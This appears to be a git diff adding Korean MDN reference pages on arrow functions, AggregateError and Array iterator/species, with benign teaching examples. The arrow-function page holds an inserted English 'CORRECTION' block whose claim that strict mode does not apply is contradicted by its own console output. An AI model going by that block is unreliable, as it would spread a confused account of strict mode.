+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{ CompatGeckoDesktop("1.8.1") }}</td>
+   <td>{{ CompatIE(9) }}</td>
+   <td>9.5</td>
+   <td>3</td>
+  </tr>
+  <tr>
+   <td>Computed property names</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("34") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("1.8.1") }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Computed property names</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("34.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="SpiderMonkey-specific_notes">SpiderMonkey-specific notes</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8.1"> JavaScript 1.8.1</a>부터, object와 array initializers에서 properties를 설정 할 때 setter는 더이상 호출되지 않는다.</li>
+ <li>SpiderMonkey 38 부터, {{jsxref("Functions/rest_parameters", "rest parameter", "", 1)}} 를 갖는 setter는  ES6 specification에 따라 {{jsxref("SyntaxError")}}이다.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Defining Getters and Setters</a> in JavaScript Guide</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/애로우_펑션/index.html b/files/ko/web/javascript/reference/functions/애로우_펑션/index.html
new file mode 100644
index 0000000000..02dc0d55e4
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/애로우_펑션/index.html
@@ -0,0 +1,465 @@
+---
+title: 화살표 함수
+slug: Web/JavaScript/Reference/Functions/애로우_펑션
+tags:
+  - ECMAScript6
+  - Functions
+  - Intermediate
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Functions/Arrow_functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>화살표 함수 표현(<strong>arrow function expression</strong>)은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/function" title="function expressions">function 표현</a>에 비해 구문이 짧고  자신의 <a href="/ko/docs/Web/JavaScript/Reference/Operators/this">this</a>, <a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>, <a href="/ko/docs/Web/JavaScript/Reference/Operators/super">super</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a>을 바인딩 하지 않습니다. 화살표 함수는 항상 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/name" title="anonymous">익명</a>입니다. 이  함수 표현은 메소드 함수가 아닌 곳에 가장 적합합니다. 그래서 생성자로서 사용할 수 없습니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/functions-arrow.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<h3 id="기본_구문">기본 구문</h3>
+
+<pre class="syntaxbox notranslate"><strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>) =&gt; {</strong> <em>statements</em> <strong>}</strong>
+<strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>) =&gt;</strong> <em>expression</em>
+// 다음과 동일함:  =&gt; { return expression; }
+
+// 매개변수가 하나뿐인 경우 괄호는 선택사항:
+<em>(singleParam)</em> <strong>=&gt; {</strong> <em>statements</em> <strong>}</strong>
+<em>singleParam</em> <strong>=&gt;</strong> { <em>statements }</em>
+
+// 매개변수가 없는 함수는 괄호가 필요:
+<strong>() =&gt; {</strong> <em>statements</em> <strong>}</strong></pre>
+
+<h3 id="고급_구문">고급 구문</h3>
+
+<pre class="syntaxbox notranslate">// 객체 리터럴 표현을 반환하기 위해서는 함수 본문(body)을 괄호 속에 넣음:
+<em>params</em> =&gt; ({<em>foo: bar</em>})
+
+// <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters" title="Rest parameter">나머지 매개변수</a> 및 <a href="/ko/docs/Web/JavaScript/Reference/Functions/Default_parameters" title="Default parameter">기본 매개변수</a>를 지원함
+(<em>param1</em>, <em>param2</em>, <strong>...rest</strong>) =&gt; { <em>statements</em> }
+(<em>param1</em> <strong>= defaultValue1</strong>, <em>param2</em>, …, paramN <strong>= defaultValueN</strong>) =&gt; { <em>statements</em> }
+
+// 매개변수 목록 내 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment" title="Destructuring">구조분해할당</a>도 지원됨
+var f = ([a, b] = [1, 2], {x: c} = {x: a + b}) =&gt; a + b + c;
+f();  // 6
+</pre>
+
+<p>상세한 구문 예는 <a href="http://wiki.ecmascript.org/doku.php?id=harmony:arrow_function_syntax">여기</a>에서 볼 수 있습니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">Hacks 블로그 "ES6 In Depth: Arrow functions" 포스트</a> 참조.</p>
+
+<p>화살표 함수 도입에 영향을 준 두 요소: 보다 짧아진 함수 및  <code>바인딩하지 않은 this.</code></p>
+
+<h3 id="짧은_함수">짧은 함수</h3>
+
+<p>일부 함수 패턴에서는, 짧은 함수가 환영받습니다. 비교해 보세요:</p>
+
+<pre class="notranslate">var elements = [
+  'Hydrogen',
+  'Helium',
+  'Lithium',
+  'Beryllium'
+];
+
+// 이 문장은 배열을 반환함: [8, 6, 7, 9]
+elements.<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(function(element) {
+  return element.length;
+});
+
+// 위의 일반적인 함수 표현은 아래 화살표 함수로 쓸 수 있다.
+elements.map((element) =&gt; {
+  return element.length;
+}); // [8, 6, 7, 9]
+
+// 파라미터가 하나만 있을 때는 주변 괄호를 생략할 수 있다.
+elements.<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(element =&gt; {
+  return element.length;
+}); // [8, 6, 7, 9]
+
+// 화살표 함수의 유일한 문장이 'return'일 때 'return'과
+// 중괄호({})를 생략할 수 있다.
+elements.map(element =&gt; element.length); // [8, 6, 7, 9]
+
+// 이 경우 length 속성만 필요하므로 destructuring 매개변수를 사용할 수 있다.
+// 'length'는 우리가 얻고자 하는 속성에 해당하는 반면,
+// lengthFooBArX'는 변경 가능한 변수의 이름일 뿐이므로
+// 원하는 유효한 변수명으로 변경할 수 있다.
+elements.<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(({ length: lengthFooBArX }) =&gt; lengthFooBArX); // [8, 6, 7, 9]
+
+// destructuring 파라미터 할당도 아래와 같이 작성할 수 있습니다.
+// 이 예에서 정의한 객체내의 'length'에 값을 지정하지 않은 점에 주목하세요. 대신, "length" 변수의
+// 리터럴 이름은 우리가 해당 객체에서 꺼내오고 싶은 속성이름 자체로 사용됩니다.
+elements.<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(({ length }) =&gt; length); // [8, 6, 7, 9] </pre>
+
+<h3 id="바인딩_되지_않은_this">바인딩 되지 않은 <code>this</code></h3>
+
+<p>화살표 함수가 나오기 전까지는, 모든 새로운 함수는, 어떻게 그 함수가 호출되는지에 따라  자신의 <code><a href="/ko/docs/Web/JavaScript/Reference/Operators/this">this</a></code> 값을 정의했습니다:</p>
+
+<ul>
+ <li>이 함수가 생성자인 경우는 새로운 객체</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Strict_mode" title="strict mode">엄격 모드</a> 함수 호출에서는 <code>undefined</code> </li>
+ <li>함수가 "객체 메서드"로서 호출된 경우 문맥 객체</li>
+ <li>등등</li>
+</ul>
+
+<p>이는 객체 지향 스타일로 프로그래밍할 때 별로 좋지않습니다.</p>
+
+<pre class="brush: js notranslate">function Person() {
+  // Person() 생성자는 `this`를 자신의 인스턴스로 정의.
+  this.age = 0;
+
+  setInterval(function growUp() {
+    // 비엄격 모드에서, growUp() 함수는 `this`를
+    // 전역 객체로 정의하고, 이는 Person() 생성자에
+    // 정의된 `this`와 다름.
+    this.age++;
+  }, 1000);
+}
+
+var p = new Person();</pre>
+
+<p>ECMAScript 3/5 에서는, 이 문제를 <code>this</code> 값을 폐쇄될 수 있는 (비전역) 변수에 할당하여 해결했습니다.</p>
+
+<pre class="brush: js notranslate">function Person() {
+  var that = this;
+  that.age = 0;
+
+  setInterval(function growUp() {
+    // 콜백은  `that` 변수를 참조하고 이것은 값이 기대한 객체이다.
+    that.age++;
+  }, 1000);
+}</pre>
+
+<p>이렇게 하는 대신에, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/bind" title="bound function">바인딩한 함수</a>는 적절한 <code>this</code> 값이 <code>growUp()</code> 함수에 전달될 수 있도록 생성될 수 있습니다.</p>
+
+<p>화살표 함수는 자신의 <code>this</code>가 없습니다.  대신 화살표 함수를 둘러싸는 렉시컬 범위(lexical scope)의 <code>this</code>가 사용됩니다; 화살표 함수는 일반 변수 조회 규칙(normal variable lookup rules)을 따릅니다. 때문에 현재 범위에서 존재하지 않는 <code>this</code>를 찾을 때, 화살표 함수는 바로 바깥 범위에서 <code>this</code>를 찾는것으로 검색을 끝내게 됩니다.</p>
+
+<p>따라서 다음 코드에서 <code>setInterval</code>에 전달 된 함수 내부의 <code>this</code>는 <code>setInterval</code>을 포함한 function의 <code>this</code>와 동일한 값을 갖습니다.</p>
+
+<pre class="brush: js notranslate">function Person(){
+  this.age = 0;
+
+  setInterval(() =&gt; {
+    this.age++; // |this|는 Person 객체를 참조
+  }, 1000);
+}
+
+var p = new Person();</pre>
+
+<h4 id="엄격_모드와의_관계">엄격 모드와의 관계</h4>
+
+<p><code>this</code>가 렉시컬(lexical, 정적)임을 감안하면, <code>this</code>에 관한 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode" title="strict mode">엄격 모드</a> 규칙은 그냥 무시됩니다.</p>
+
+<pre class="notranslate">var f = () =&gt; { 'use strict'; return this; };
+f() === window; // 혹은 전역객체</pre>
+
+<p>엄격 모드의 나머지 규칙은 평소대로 적용합니다.</p>
+
+<p><strong>CORRECTION: START</strong></p>
+
+<p>NOTE: the previous statement seems false.</p>
+
+<p>Strict mode should prevent creating global variables when assigning to an undeclared identifier in a function.</p>
+
+<p>This code sample using Chrome 81 demonstrates that arrow functions allow the creation of global variables in such situations (both for a concise body and for a normal function body):</p>
+
+<pre class="notranslate">&gt; f1 = x =&gt; { y = x; console.log(`x: ${x}, y: ${y}`); return x + 1; }
+x =&gt; { y = x; console.log(`x: ${x}, y: ${y}`); return x + 1; }
+
+&gt; y
+VM51587:1 Uncaught ReferenceError: y is not defined
+    at &lt;anonymous&gt;:1:1
+(anonymous) @ VM51587:1
+
+&gt; f1(3)
+VM51533:1 x: 3, y: 3
+4
+
+&gt; y
+3
+
+&gt; f2 = x =&gt; { 'use strict'; z = x; console.log(`x: ${x}, z: ${z}`); return x + 1; }
+x =&gt; { 'use strict'; z = x; console.log(`x: ${x}, z: ${z}`); return x + 1; }
+
+&gt; z
+VM51757:1 Uncaught ReferenceError: z is not defined
+    at &lt;anonymous&gt;:1:1
+(anonymous) @ VM51757:1
+
+&gt; f2(4)
+VM51712:1 Uncaught ReferenceError: z is not defined
+    at f2 (&lt;anonymous&gt;:1:29)
+    at &lt;anonymous&gt;:1:1
+f2 @ VM51712:1
+(anonymous) @ VM51800:1
+
+&gt; f3 = x =&gt; (z1 = x + 1)
+x =&gt; (z1 = x + 1)
+
+&gt; z1
+VM51891:1 Uncaught ReferenceError: z1 is not defined
+    at &lt;anonymous&gt;:1:1
+(anonymous) @ VM51891:1
+
+&gt; f3(10)
+11
+
+&gt; z1
+11
+</pre>
+
+<p>f2 illustrates that when explicitly setting the arrow function to apply strict mode, it does throw an error when attempting to assign an undeclared variable.</p>
+
+<p>https://www.ecma-international.org/ecma-262/10.0/index.html#sec-strict-mode-code</p>
+
+<p>https://www.ecma-international.org/ecma-262/10.0/index.html#sec-arrow-function-definitions-runtime-semantics-evaluation</p>
+
+<p><strong>CORRECTION: END</strong></p>
+
+<h4 id="call_또는_apply를_통한_피호출">call 또는 apply를 통한 피호출</h4>
+
+<p>화살표 함수에서는 <code>this가 </code> 바인딩되지 않았기 때문에, <code>call()</code> 또는 <code>apply()</code> 메서드는  인자만 전달 할 수 있습니다. this는 무시됩니다.</p>
+
+<pre class="brush: js notranslate">var adder = {
+  base : 1,
+
+  add : function(a) {
+    var f = v =&gt; v + this.base;
+    return f(a);
+  },
+
+  addThruCall: function(a) {
+    var f = v =&gt; v + this.base;
+    var b = {
+      base : 2
+    };
+
+    return f.call(b, a);
+  }
+};
+
+console.log(adder.add(1));         // 이는 2가 콘솔에 출력될 것임
+console.log(adder.addThruCall(1)); // 이도 2가 콘솔에 출력될 것임</pre>
+
+<h3 id="바인딩_되지_않은_arguments">바인딩 되지 않은 <code>arguments</code></h3>
+
+<p>화살표 함수는 <a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code> 객체</a>를 바인드 하지 않습니다.  때문에, <code>arguments는</code>  그저 둘러싸는 범위(scope) 내 이름에 대한 참조입니다.</p>
+
+<pre class="brush: js notranslate"><code>var arguments = [1, 2, 3];
+var arr = () =&gt; arguments[0];
+
+arr(); // 1
+
+function foo(n) {
+  var f = () =&gt; arguments[0] + n; // foo's implicit arguments binding. arguments[0] is n
+  return f();
+}
+
+foo(1); // 2</code></pre>
+
+<p>화살표 함수는 자신의 <code>arguments</code> 객체가 없지만, 대부분의 경우에 <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters" title="rest parameters">나머지 매개변수</a>가 좋은 대안입니다:</p>
+
+<pre class="brush: js notranslate">function foo(n) {
+  var f = (...args) =&gt; args[0] + n;
+  return f(2);
+}
+
+foo(1); // 3</pre>
+
+<h3 id="메소드로_사용되는_화살표_함수">메소드로 사용되는 화살표 함수</h3>
+
+<p>이야기 했듯이, 화살표 함수 표현은 메소드 함수가 아닌 형태로 사용 할 수 있습니다. 메소드로 사용하려고 한면 무슨일이 발생하는지 봅시다.</p>
+
+<pre class="brush: js notranslate"><code>'use strict';
+
+var obj = { // does not create a new scope
+  i: 10,
+  b: () =&gt; console.log(this.i, this),
+  c: function() {
+    console.log( this.i, this)
+  }
+}
+obj.b(); // prints undefined, Window {...} (or the global object)
+obj.c(); // prints 10, Object {...}</code>
+</pre>
+
+<p>화살표 함수는 자신의 this를 가지고("bind" 바인드)있지 않습니다.{{jsxref("Object.defineProperty()")}}</p>
+
+<pre class="brush: js notranslate"><code>'use strict';
+
+var obj = {
+  a: 10
+};
+
+Object.defineProperty(obj, 'b', {
+  get: () =&gt; {
+    console.log(this.a, typeof this.a, this); // undefined 'undefined' Window {...} (or the global object)
+    return this.a + 10; // represents global object 'Window', therefore 'this.a' returns 'undefined'
+  }
+});</code></pre>
+
+<h3 id="new_연산자_사용"><code>new</code> 연산자 사용</h3>
+
+<p>화살표 함수는 생성자로서 사용될 수 없으며 <code>new</code>와 함께 사용하면 오류가 발생합니다.</p>
+
+<pre class="brush: js notranslate"><code>var Foo = () =&gt; {};
+var foo = new Foo(); // TypeError: Foo is not a constructor</code></pre>
+
+<h3 id="prototype_속성_사용"><code>prototype</code> 속성 사용</h3>
+
+<p>화살표 함수는 <code>prototype</code> 속성이 없습니다.</p>
+
+<pre class="brush: js notranslate"><code>var Foo = () =&gt; {};
+console.log(Foo.prototype); // undefined</code></pre>
+
+<h3 id="yield_키워드_사용"><code>yield</code> 키워드 사용</h3>
+
+<p><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> 키워드는 화살표 함수의 본문(그 안에 더 중첩된 함수 내에서 허용한 경우를 제외하고)에 사용될 수 없습니다. 그 결과, 화살표 함수는 생성기(generator)로서 사용될 수 없습니다.</p>
+
+<h3 id="함수_본문">함수 본문</h3>
+
+<p>화살표 함수는 "concise 바디"든 보통 "block 바디"든 하나를 가질 수 있습니다.</p>
+
+<div class="note">
+<p>concise바디는 중괄호'{}'로 묶이지않은 한줄짜리 바디이고 block바디는 중괄호로 묶인 바디입니다. 보통 여러줄 쓸때 block바디를 사용합니다.</p>
+</div>
+
+<p>block바디는 자동으로 값을 반환하지 않습니다. <code>return</code>을 사용해서 값을 반환해야 합니다.</p>
+
+<pre class="brush: js notranslate">var func = x =&gt; x * x;                  // concise 바디, 생략된 "return" 여기서는 x * x
+var func = (x, y) =&gt; { return x + y; }; // block 바디, "return"이 필요
+</pre>
+
+<h3 id="객체_리터럴_반환">객체 리터럴 반환</h3>
+
+<p>간결한 구문 <code>params =&gt; {object:literal}</code>을 사용한 객체 리터럴 반환은 예상대로 작동하지 않음을 명심하세요:</p>
+
+<pre class="brush: js notranslate">var func = () =&gt; {  foo: 1  };
+// func() 호출은 undefined를 반환!
+
+var func = () =&gt; {  foo: function() {}  };
+// SyntaxError: function 문은 이름이 필요함</pre>
+
+<p>이는 중괄호({}) 안 코드가 일련의 문(즉 <code>foo</code>는 라벨처럼 취급됩니다, 객체 리터럴 내 키가 아니라)으로 파싱(parse, 구문 분석)되기 때문입니다.</p>
+
+<p>객체 리터럴를 괄호로 감싸는 것을 기억하세요:</p>
+
+<pre class="brush: js notranslate">var func = () =&gt; ({ foo: 1 });</pre>
+
+<h3 id="줄바꿈">줄바꿈</h3>
+
+<p>화살표 함수는 파라메터와 화살표 사이에 개행 문자를 포함 할 수 없습니다.</p>
+
+<pre class="brush: js notranslate"><code>var func = (a, b, c)
+           =&gt; 1;
+// SyntaxError: expected expression, got '=&gt;'</code></pre>
+
+<p>하지만, 보기 좋은 코드를 유지하고 싶다면, 아래에 보는 것처럼 괄호나 개행을 둠으로써 이를 수정할 수 있습니다.</p>
+
+<pre class="notranslate">var func = (a, b, c) =&gt;
+  1;
+
+var func = (a, b, c) =&gt; (
+  1
+);
+
+var func = (a, b, c) =&gt; {
+  return 1
+};
+
+<code>var func = (
+  a,
+  b,
+  c
+) =&gt; 1;
+
+// SyntaxError가 발생하지 않습니다.</code></pre>
+
+<h3 id="파싱순서">파싱순서</h3>
+
+<p>화살표 함수 내의 화살표는 연산자가 아닙니다. 그러나 화살표 함수는 평범한 함수와 비교했을 때 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">operator precedence</a>와 다르게 반응하는 특별한 파싱룰을 가지고 있습니다.</p>
+
+<pre class="brush: js notranslate"><code>let callback;
+
+callback = callback || function() {}; // ok
+
+callback = callback || () =&gt; {};
+// SyntaxError: invalid arrow-function arguments
+
+callback = callback || (() =&gt; {});    // ok</code>
+</pre>
+
+<h2 id="다른_예">다른 예</h2>
+
+<h3 id="기본_사용법">기본 사용법</h3>
+
+<pre class="brush: js notranslate"><code>// </code> empty 화살표 함수는 undefined를 반환 <code>
+let empty = () =&gt; {};
+
+(() =&gt; 'foobar')();
+// "foobar" 반환
+// (this is an Immediately Invoked Function Expression
+
+var simple = a =&gt; a &gt; 15 ? 15 : a;
+simple(16); // 15
+simple(10); // 10
+
+let max = (a, b) =&gt; a &gt; b ? a : b;
+
+// Easy array filtering, mapping, ...
+
+var arr = [5, 6, 13, 0, 1, 18, 23];
+
+var sum = arr.reduce((a, b) =&gt; a + b);
+// 66
+
+var even = arr.filter(v =&gt; v % 2 == 0);
+// [6, 0, 18]
+
+var double = arr.map(v =&gt; v * 2);
+// [10, 12, 26, 0, 2, 36, 46]
+
+// 더 간결한 promise 체인
+promise.then(a =&gt; {
+  // ...
+}).then(b =&gt; {
+  // ...
+});
+
+// 매개변수가 없는 경우에도 더 읽기 쉬움
+setTimeout( () =&gt; {
+  console.log('I happen sooner');
+  setTimeout( () =&gt; {
+    // deeper code
+    console.log('I happen later');
+  }, 1);
+}, 1);</code></pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p><span style="">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out </span><a href="https://github.com/mdn/browser-compat-data" style="">https://github.com/mdn/browser-compat-data</a><span style=""> and send us a pull request.</span></p>
+</div>
+
+<p>{{Compat("javascript.functions.arrow_functions")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">Hacks 블로그 "ES6 In Depth: Arrow functions" 포스트</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/aggregateerror/index.html b/files/ko/web/javascript/reference/global_objects/aggregateerror/index.html
new file mode 100644
index 0000000000..b83db1139e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/aggregateerror/index.html
@@ -0,0 +1,87 @@
+---
+title: AggregateError
+slug: Web/JavaScript/Reference/Global_Objects/AggregateError
+tags:
+  - AggregateError
+  - 실험적
+  - 인터페이스
+  - 자바스크립트
+  - 클래스
+translation_of: Web/JavaScript/Reference/Global_Objects/AggregateError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>AggregateError</strong></code> 객체는 다수의 에러가 한 에러로 랩핑되어야 할 때의 오류를 나타냅니다. 한 작업에서 여러개의 오류가 보고될 때 발생하는데, 대표적으로 {{JSxRef("Promise.any()")}}에 전달된 모든 promise들이 거부되었을 때 발생합니다.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/AggregateError/AggregateError", "AggregateError()")}}</dt>
+ <dd>새로운 <code>AggregateError</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="Instance_properties">Instance properties</h2>
+
+<dl>
+ <dt>{{JSxRef("Error.prototype.message", "AggregateError.prototype.message")}}</dt>
+ <dd>에러 메시지, 기본값 <code>""</code>.</dd>
+ <dt>{{JSxRef("Error.prototype.name", "AggregateError.prototype.name")}}</dt>
+ <dd>에러 이름, 기본값 <code>AggregateError</code>.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="AggregateError_다루기">AggregateError 다루기</h3>
+
+<pre class="brush: js; notranslate">Promise.any([
+  Promise.reject(new Error("some error")),
+]).catch(e =&gt; {
+  console.log(e instanceof AggregateError); // true
+  console.log(e.message);                   // "All Promises rejected"
+  console.log(e.name);                      // "AggregateError"
+  console.log(e.errors);                    // [ Error: "some error" ]
+});
+</pre>
+
+<h3 id="AggregateError_발생시키기">AggregateError 발생시키기</h3>
+
+<pre class="brush: js; notranslate">try {
+  throw new AggregateError([
+    new Error("some error"),
+  ], 'Hello');
+} catch (e) {
+  console.log(e instanceof AggregateError); // true
+  console.log(e.message);                   // "Hello"
+  console.log(e.name);                      // "AggregateError"
+  console.log(e.errors);                    // [ Error: "some error" ]
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Promise.any', '#sec-aggregate-error-objects', 'AggregateError')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.AggregateError")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{JSxRef("Error")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/@@iterator/index.html b/files/ko/web/javascript/reference/global_objects/array/@@iterator/index.html
new file mode 100644
index 0000000000..89e08aa41e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/@@iterator/index.html
@@ -0,0 +1,84 @@
+---
+title: 'Array.prototype[@@iterator]()'
+slug: Web/JavaScript/Reference/Global_Objects/Array/@@iterator
+tags:
+  - Array
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@iterator
+---
+<div>{{JSRef}}</div>
+
+<p> <code><strong>@@iterator</strong></code> 속성의 초기 값은 {{jsxref("Array.prototype.values()", "values()")}} 속성의 초기 값과 같은 함수 객체입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>arr[Symbol.iterator]()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Array.prototype.values()", "values()")}} 반복기가 반환하는 초기 값. <code>arr[Symbol.iterator]</code>의 기본값은 {{jsxref("Array.prototype.values()", "values()")}} 입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="for…of_반복문을_이용한_순회"><code>for…of</code> 반복문을 이용한 순회</h3>
+
+<pre class="brush: js"><code>var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr[Symbol.iterator]();
+// your browser must support for..of loop
+// and let-scoped variables in for loops
+// const and var could also be used
+for (let letter of eArr) {
+  console.log(letter);
+}</code></pre>
+
+<h3 id="다른_방법">다른 방법</h3>
+
+<pre class="brush: js"><code>var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr[Symbol.iterator]();
+console.log(eArr.next().value); // w
+console.log(eArr.next().value); // y
+console.log(eArr.next().value); // k
+console.log(eArr.next().value); // o
+console.log(eArr.next().value); // p</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.@@iterator")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/@@species/index.html b/files/ko/web/javascript/reference/global_objects/array/@@species/index.html
new file mode 100644
index 0000000000..7b1bda0ca6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/@@species/index.html
@@ -0,0 +1,75 @@
+---
+title: 'get Array[@@species]'
+slug: Web/JavaScript/Reference/Global_Objects/Array/@@species
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@species
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Array[@@species]</code> </strong>접근자 속성은 <code>Array</code> 생성자를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Array[Symbol.species]
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Array")}} 생성자.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>species</code> 접근자 속성은 <code>Array</code> 객체의 기본 생성자를 반환합니다. 서브클래스 생성자는 생성자 할당을 변경하기 위해 이 속성을 재정의할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><code>species</code> 속성은 <code>Array</code> 객체의 <code>Array</code> 생성자를 반환합니다.</p>
+
+<pre class="brush: js">Array[Symbol.species]; // function Array()</pre>
+
+<p>파생 콜렉션 개체(예시: 사용자 설정 배열인 <code>MyArray</code>)에서, <code>MyArray</code> 종<sup>species</sup>은 <code>MyArray</code> 생성자입니다. 그러나 이 속성을 재정의하면 파생 클래스 메서드에서 상위 <code>Array</code> 객체를 반환할 수 있습니다.</p>
+
+<pre class="brush: js">class MyArray extends Array {
+  // MyArray species를 부모 Array 생성자로 재설정
+  static get [Symbol.species]() { return Array; }
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
